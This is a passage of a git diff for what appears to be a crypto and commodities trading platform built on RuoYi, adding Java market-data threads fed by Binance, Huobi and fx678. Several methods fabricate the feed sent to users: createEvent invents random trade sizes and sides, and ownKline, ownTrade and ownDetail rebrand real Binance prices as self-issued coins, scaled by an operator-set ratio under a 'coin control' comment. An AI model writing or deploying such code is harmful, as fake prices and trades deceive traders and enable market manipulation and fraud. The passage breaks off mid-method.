+/* void addCoinTheadRun(Map map );*/ + + void getAllPrice(); + + + void initMarketThreadRun() ; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadBinanceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadBinanceImpl.java new file mode 100644 index 0000000..306d7fe --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadBinanceImpl.java @@ -0,0 +1,294 @@ +package com.ruoyi.socket.service.impl; + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.binance.connector.client.WebSocketStreamClient; +import com.binance.connector.client.impl.WebSocketStreamClientImpl; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.DateUtil; +import com.ruoyi.socket.manager.BianaceWebSocketClient; +import com.ruoyi.socket.manager.WebSocketUserManager; +import com.ruoyi.socket.service.MarketThread; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.collections4.CollectionUtils; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.net.URISyntaxException; +import java.util.*; + + +@Service +@Slf4j +public class MarketThreadBinanceImpl implements MarketThread { + + + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITSymbolManageService tSymbolManageService; + @Resource + private IKlineSymbolService klineSymbolService; + + @Resource + private WebSocketUserManager webSocketUserManager; + @Resource + private ITOwnCoinService ownCoinService; + + @Override + public void marketThreadRun(){ + try { + BianaceWebSocketClient klineClient = new BianaceWebSocketClient(); + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("binance"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("binance"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol()); + } + + //兑换 + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tSymbolManages = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + for (TSymbolManage symbolManage : tSymbolManages) { + strings.add(symbolManage.getSymbol()+"usdt"); + } + //发币 和 自发币 + KlineSymbol klineSymbol = new KlineSymbol().setMarket("echo"); + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + for (KlineSymbol kline : list) { + strings.add(kline.getReferCoin()+"usdt"); + } + for (String string : strings) { + klineClient.klineStream(string, "1m", ((event) -> { + webSocketUserManager.binanceKlineSendMeg(event); + String s = event; + //kline 逻辑 分发 和 控币 异步 + for (KlineSymbol kSymbol : list) { + if((string.toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event = ownKline(s, kSymbol); + webSocketUserManager.binanceKlineSendMeg(event); + } + } + + s = createEvent(s); + webSocketUserManager.binanceTRADESendMeg(s); + for (KlineSymbol kSymbol : list) { + if((string.toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event = ownTrade(s, kSymbol); + webSocketUserManager.binanceTRADESendMeg(event); + } + } + + })); + } + + } catch (Exception e) { + e.printStackTrace(); + } + } + + private String createEvent(String event) { + JSONObject jsonObject = JSONObject.parseObject(event); + String k = jsonObject.getString("k"); + JSONObject K = JSONObject.parseObject(k); + + String s = jsonObject.getString("s"); + String E = jsonObject.getString("E"); + String T = K.getString("T"); + + BigDecimal p =new BigDecimal(K.getString("c")); + BigDecimal q = null; + // 根据价格 生成随机成交数量 0-1 50--2000 价格 1-10 200以内 价格 10-50 0-20 价格50-5000 0.00005000 以内随机数 5000+以上 0.000005000 + Integer randomBoolean=new Random().nextInt(2); //这儿是生成的小于100的整数,nextInt方法的参数值要是大于0的整数 + Boolean m = randomBoolean>0?true:false; + // 产生一个2~100的数 + if(p.compareTo(BigDecimal.ONE)<0){ + int min = 50; // 定义随机数的最小值 + int max = 2000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("1"))>0 && p.compareTo(new BigDecimal("10"))<0){ + int max = 2000; // 定义随机数的最大值 + Integer random = (int) (Math.random() * (max)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("10"))>0 && p.compareTo(new BigDecimal("50"))<0){ + int max = 20; // 定义随机数的最大值 + Integer random = + (int) (Math.random() * (max)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("50"))>0 && p.compareTo(new BigDecimal("5000"))<0){ + int min = 50; // 定义随机数的最小值 + int max = 5000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()).divide(new BigDecimal("1000000")); + } + if(p.compareTo(new BigDecimal("5000"))>0 ){ + int min = 50; // 定义随机数的最小值 + int max = 5000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()).divide(new BigDecimal("10000000")); + } + String str = "{'e':'aggTrade','E':'"+E+"','s':'"+s+"','p':'"+p+"','q':'"+q.toString()+"','T':'"+T+"','m':'"+m+"'}"; + return str; + } + + @Override + public void getAllPrice() { + } + + @Override + public void initMarketThreadRun() { + BianaceWebSocketClient symbolTickerClient = new BianaceWebSocketClient(); + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("binance"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("binance"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol()); + } + + //兑换 + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tSymbolManages = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + for (TSymbolManage symbolManage : tSymbolManages) { + strings.add(symbolManage.getSymbol()+"usdt"); + } + //发币 和 自发币 + KlineSymbol klineSymbol = new KlineSymbol().setMarket("echo"); + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + for (KlineSymbol kline : list) { + strings.add(kline.getReferCoin()+"usdt"); + } + //对应detail + symbolTickerClient.allTickerStream(((allEvent) -> { + JSONArray arr = JSONArray.parseArray(allEvent); + for (int i = 0; i < arr.size(); i++) { + JSONObject obj = JSON.parseObject(arr.get(i).toString()); + String event = obj.toString(); + webSocketUserManager.savePriceRdies(event); + if(strings.contains(obj.getString("s").toLowerCase())){ + webSocketUserManager.binanceDETAILSendMeg(event); + String s = event; + for (KlineSymbol kSymbol : list) { + if((obj.getString("s").toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event= ownDetail(s,kSymbol); + webSocketUserManager.binanceDETAILSendMeg(event); + } + } + } + } + })); + } + + private String ownDetail(String event,KlineSymbol kSymbol) { + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + BigDecimal o = new BigDecimal(jsonObject.getString("o")); + BigDecimal h = new BigDecimal(jsonObject.getString("h")); + BigDecimal l = new BigDecimal(jsonObject.getString("l")); + BigDecimal c = new BigDecimal(jsonObject.getString("c")); + BigDecimal q = new BigDecimal(jsonObject.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + private String ownTrade(String event,KlineSymbol kSymbol ) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal p = new BigDecimal(jsonObject.getString("p")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("p",p.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + + private String ownKline(String event,KlineSymbol kSymbol) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + JSONObject k = jsonObject.getJSONObject("k"); + BigDecimal o = new BigDecimal(k.getString("o")); + BigDecimal h = new BigDecimal(k.getString("h")); + BigDecimal l = new BigDecimal(k.getString("l")); + BigDecimal c = new BigDecimal(k.getString("c")); + BigDecimal q = new BigDecimal(k.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("k",k); + return jsonObject.toJSONString(); + } + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadEnergy.java b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadEnergy.java new file mode 100644 index 0000000..46aea55 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadEnergy.java @@ -0,0 +1,116 @@ +package com.ruoyi.socket.service.impl; + +import cn.hutool.http.HttpRequest; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.socket.manager.WebSocketUserManager; +import lombok.extern.slf4j.Slf4j; +import org.springframework.scheduling.annotation.Async; +import org.springframework.scheduling.annotation.EnableScheduling; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.time.DayOfWeek; +import java.time.LocalDate; +import java.util.HashSet; +import java.util.List; +import java.util.Random; +import java.util.Set; + +/** + * energy 能源 + */ +@Slf4j +@EnableScheduling +@Component +public class MarketThreadEnergy { + + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private WebSocketUserManager webSocketUserManager; + + private static final Set coins = new HashSet<>(); + + @Scheduled(fixedRate = 1000 * 60 * 60 * 24) + public void getSecondCoins() { + //秒合约Crude原油 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("energy"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + coins.add(secondCoinConfig.getCoin().toUpperCase()); + } + //U本位 + TContractCoin tContractCoin = new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("energy"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + coins.add(contractCoin.getCoin().toUpperCase()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("energy"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + coins.add(currencySymbol.getCoin().toUpperCase()); + } + log.info(JSONObject.toJSONString(coins)); + } + + @Async + @Scheduled(cron = "*/15 * * * * ?") + public void marketThreadRun() throws URISyntaxException { + if (isOffDay()) { + log.info("星期六星期日 不查"); + return; + } + for (String coinStr : coins) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + Random random = new Random(); + double v = random.nextDouble(); + String url = "https://api-q.fx678img.com/getQuote.php?exchName=IPE&symbol=" + coinStr.toUpperCase() + "&st=" + v; + String result = HttpRequest.get(url) + .header("Referer", "https://quote.fx678.com/") + .header("Host", "api-q.fx678img.com") + .header("Origin", "https://quote.fx678.com") + .timeout(20000) + .execute().body(); + if (StringUtils.isNotEmpty(result) && result.length() > 100) { + webSocketUserManager.crudeKlineSendMeg(result, coinStr); + webSocketUserManager.metalDETAILSendMeg(result, coinStr); + } + } + }); + thread.start(); + } + } + + private boolean isOffDay() { + LocalDate today = LocalDate.now(); + DayOfWeek dayOfWeek = today.getDayOfWeek(); + if (dayOfWeek == DayOfWeek.SATURDAY || dayOfWeek == DayOfWeek.SUNDAY) { + log.info("星期六星期日 不查"); + return true; + } + return false; + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadHuoBiImpl.java b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadHuoBiImpl.java new file mode 100644 index 0000000..fd600e3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadHuoBiImpl.java @@ -0,0 +1,122 @@ +package com.ruoyi.socket.service.impl; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; +import com.huobi.wss.event.MarketDetailSubResponse; +import com.huobi.wss.event.MarketKLineSubResponse; +import com.huobi.wss.event.MarketTradeDetailSubResponse; +import com.huobi.wss.handle.WssMarketHandle; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.domain.TSymbolManage; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.socket.service.MarketThread; +import com.ruoyi.socket.manager.WebSocketUserManager; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.util.*; + +@Service +@Slf4j +public class MarketThreadHuoBiImpl implements MarketThread { + + @Autowired + private RedisCache redisCache; + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITSymbolManageService tSymbolManageService; + @Resource + private WebSocketUserManager webSocketUserManager; + private String URL = "wss://api.hbdm.com/linear-swap-ws";//合约站行情请求以及订阅地址 + + @Override + public void marketThreadRun() { + + try { + Set strings = new HashSet<>(); + + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("huobi"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("huobi"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("huobi"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol()); + } + //兑换 + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + tCurrencySymbol.setMarket("huobi"); + List tSymbolManages = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + for (TSymbolManage symbolManage : tSymbolManages) { + strings.add(symbolManage.getSymbol()+"usdt"); + } + WssMarketHandle klinesMarketHandle = new WssMarketHandle(URL); + List subList = new ArrayList<>(strings); + klinesMarketHandle.sub(subList, response -> { + log.debug(response); + //要写分发逻辑 和 控线逻辑 有三个 数据结构 1detail 2kline 3trade + JSONObject parse = (JSONObject) JSONObject.parse(response); + String o = (String)parse.get("ch"); + //判断属于哪种类型 + if(o.indexOf("trade")>-1){ + //trade + MarketTradeDetailSubResponse event = JSON.parseObject(response, MarketTradeDetailSubResponse.class); + webSocketUserManager.buidlMsgToSend(event); + + }else if(o.indexOf("kline")>-1){ + //kline + MarketKLineSubResponse event = JSON.parseObject(response, MarketKLineSubResponse.class); + webSocketUserManager.buidlMsgToSend(event); + }else{ + //detail + MarketDetailSubResponse event = JSON.parseObject(response, MarketDetailSubResponse.class); + webSocketUserManager.buidlMsgToSend(event); + } + }); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void getAllPrice() { + + } + + @Override + public void initMarketThreadRun() { + + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMetal.java b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMetal.java new file mode 100644 index 0000000..f1ec407 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMetal.java @@ -0,0 +1,94 @@ +package com.ruoyi.socket.service.impl; + +import cn.hutool.http.HttpRequest; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.socket.manager.WebSocketUserManager; +import lombok.extern.slf4j.Slf4j; +import org.springframework.scheduling.annotation.Async; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.time.DayOfWeek; +import java.time.LocalDate; +import java.util.HashSet; +import java.util.List; +import java.util.Random; +import java.util.Set; + + +@Slf4j +@Component +public class MarketThreadMetal { + + + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private WebSocketUserManager webSocketUserManager; + @Async + @Scheduled(cron = "*/15 * * * * ?") + public void marketThreadRun() throws URISyntaxException { + LocalDate today = LocalDate.now(); + DayOfWeek dayOfWeek = today.getDayOfWeek(); + + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("metal"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getCoin().toUpperCase()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("metal"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getCoin().toUpperCase()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("metal"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getCoin().toUpperCase()); + } + //兑换 + for (String string : strings) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + Random random = new Random(); + double v = random.nextDouble(); + String url = ""; + url = "https://api-q.fx678img.com/getQuote.php?exchName=WGJS&symbol="+string.toUpperCase()+"&st="+v; + String result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .header("Host","api-q.fx678img.com") + .header("Origin","https://quote.fx678.com") + .timeout(20000) + .execute().body(); + webSocketUserManager.metalKlineSendMeg(result,string); + webSocketUserManager.metalDETAILSendMeg(result,string); + } + }); + thread.start(); + } + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMt5.java b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMt5.java new file mode 100644 index 0000000..e2695d5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMt5.java @@ -0,0 +1,109 @@ +package com.ruoyi.socket.service.impl; + +import cn.hutool.http.HttpRequest; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.socket.manager.WebSocketUserManager; +import com.ruoyi.system.service.ISysDictTypeService; +import lombok.extern.slf4j.Slf4j; +import org.springframework.scheduling.annotation.Async; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.time.DayOfWeek; +import java.time.LocalDate; +import java.util.*; + + +@Slf4j +@Component +public class MarketThreadMt5 { + + + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITSymbolManageService tSymbolManageService; + + @Resource + private WebSocketUserManager webSocketUserManager; + @Resource + private ISysDictTypeService sysDictTypeService; + @Async + //@Scheduled(cron = "*/15 * * * * ?") + public void marketThreadRun() throws URISyntaxException { + LocalDate today = LocalDate.now(); + DayOfWeek dayOfWeek = today.getDayOfWeek(); + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("mt5"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol().toUpperCase()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("mt5"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol().toUpperCase()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("mt5"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol().toUpperCase()); + } + + //字典银行卡绑定币种 + List backCoinList = sysDictTypeService.selectDictDataByType("t_bank_coin"); + if (!CollectionUtils.isEmpty(backCoinList)){ + for (SysDictData sysDictData : backCoinList) { + if ("USD".equalsIgnoreCase(sysDictData.getDictValue())) continue; + strings.add(sysDictData.getDictValue().toUpperCase()+"USD"); + strings.add("USD"+sysDictData.getDictValue().toUpperCase()); + } + } + //兑换 + for (String string : strings) { + + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + Random random = new Random(); + double v = random.nextDouble(); + String url = ""; + url = "https://api-q.fx678img.com/getQuote.php?exchName=WH&symbol="+string+"&st="+v; + String result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .header("Host","api-q.fx678img.com") + .header("Origin","https://quote.fx678.com") + .timeout(20000) + .execute().body(); + + webSocketUserManager.mt5KlineSendMeg(result,string); + webSocketUserManager.mt5DETAILSendMeg(result,string); + } + }); + thread.start(); + } + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketCoinOver.java b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketCoinOver.java new file mode 100644 index 0000000..e1979b8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketCoinOver.java @@ -0,0 +1,201 @@ +package com.ruoyi.socket.socketserver; + + + import com.alibaba.fastjson2.JSON; + import com.alibaba.fastjson2.JSONObject; + import com.ruoyi.bussiness.service.ITWithdrawService; + import com.ruoyi.common.core.redis.RedisCache; + import com.ruoyi.socket.dto.SocketDto; + import jnr.ffi.annotations.In; + import lombok.extern.slf4j.Slf4j; + import org.apache.commons.lang3.StringUtils; + import org.springframework.stereotype.Component; + + import javax.annotation.Resource; + import javax.websocket.*; + import javax.websocket.server.PathParam; + import javax.websocket.server.ServerEndpoint; + import java.io.IOException; + import java.util.ArrayList; + import java.util.HashMap; + import java.util.Map; + import java.util.concurrent.ConcurrentHashMap; + +/** + * websocket的处理类。 + * 作用相当于HTTP请求 + * 中的controller + */ +@Component +@Slf4j +@ServerEndpoint("/webSocket/coinOver/{userId}") +public class WebSocketCoinOver { + + /**静态变量,用来记录当前在线连接数。应该把它设计成线程安全的。*/ + private static int onlineCount = 0; + /**concurrent包的线程安全Set,用来存放每个客户端对应的WebSocket对象。*/ + public static ConcurrentHashMap webSocketMap = new ConcurrentHashMap<>(); + /**与某个客户端的连接会话,需要通过它来给客户端发送数据*/ + private Session session; + /**接收userId*/ + private String userId = ""; + + private static RedisCache redisCache; + private static ITWithdrawService withdrawService; + public void setWebSocketServers(RedisCache redisCache){ + WebSocketCoinOver.redisCache = redisCache; + } + + /** + * 连接建立成 + * 功调用的方法 + */ + @OnOpen + public void onOpen(Session session,@PathParam("userId") String userId) { + this.session = session; + this.userId=userId; + redisCache.setCacheObject(userId,"1"); + + if(webSocketMap.containsKey(userId)){ + webSocketMap.remove(userId); + //加入set中 + webSocketMap.put(userId,this); + }else{ + //加入set中 + webSocketMap.put(userId,this); + //在线数加1 + addOnlineCount(); + } + log.debug("用户连接:"+userId+",当前在线人数为:" + getOnlineCount()); + SocketDto socketDto = new SocketDto(); + socketDto.setType("0"); + socketDto.setMessage("连接成功"); + sendMessage(JSONObject.toJSONString(socketDto)); + } + + /** + * 连接关闭 + * 调用的方法 + */ + @OnClose + public void onClose(CloseReason closeReason) { + if(webSocketMap.containsKey(userId)){ + webSocketMap.remove(userId); + //从set中删除 + subOnlineCount(); + redisCache.deleteObject(this.userId); + } + log.debug("用户退出:"+userId+",当前在线人数为:" + getOnlineCount()); + } + + /** + * 收到客户端消 + * 息后调用的方法 + * @param message + * 客户端发送过来的消息 + **/ + @OnMessage + public void onMessage(String message, Session session) { + //可以群发消息 + //消息保存到数据库、redis + 